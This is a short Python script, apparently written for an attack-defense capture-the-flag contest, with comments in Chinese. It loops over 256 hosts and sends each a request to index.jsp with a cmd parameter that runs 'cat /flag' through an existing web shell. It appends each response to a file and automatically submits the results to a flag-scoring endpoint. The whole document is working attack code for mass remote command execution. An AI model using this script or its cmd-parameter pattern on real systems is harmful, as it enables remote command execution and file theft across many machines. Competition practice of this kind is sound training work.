import requests

base_url = 'http://xxx'  # 假设基础URL是http://xxx
put_url = 'http://xxx/submit_flag'  # 假设提交flag的URL是http://xxx/submit_flag


def get_flags():
    for i in range(0, 256):
        # 构造完整的URL
        full_url = f"{base_url}{i}/index.jsp?cmd=cat /flag"
        try:
            res = requests.get(url=full_url, timeout=5)
            with open('a.txt', 'a+') as f:
                f.write(res.text + '\n')  # 写入响应的文本内容并换行
        except requests.RequestException as e:
            print(f"Error fetching {full_url}: {e}")


def put_flag(flag):
    data = {'flag': flag}  # 假设提交flag需要POST数据
    try:
        res = requests.post(url=put_url, data=data, timeout=5)
        return res.text  # 返回提交后的响应内容
    except requests.RequestException as e:
        print(f"Error submitting flag: {e}")
        return None


def main():
    get_flags()  # 获取所有flag
    with open('a.txt', 'r') as f:
        for line in f:
            flag = line.strip()  # 去除可能的空白字符
            if flag:  # 确保flag不为空
                response = put_flag(flag)
                print(f"Submitted flag {flag}, response: {response}")


if __name__ == '__main__':
    main()
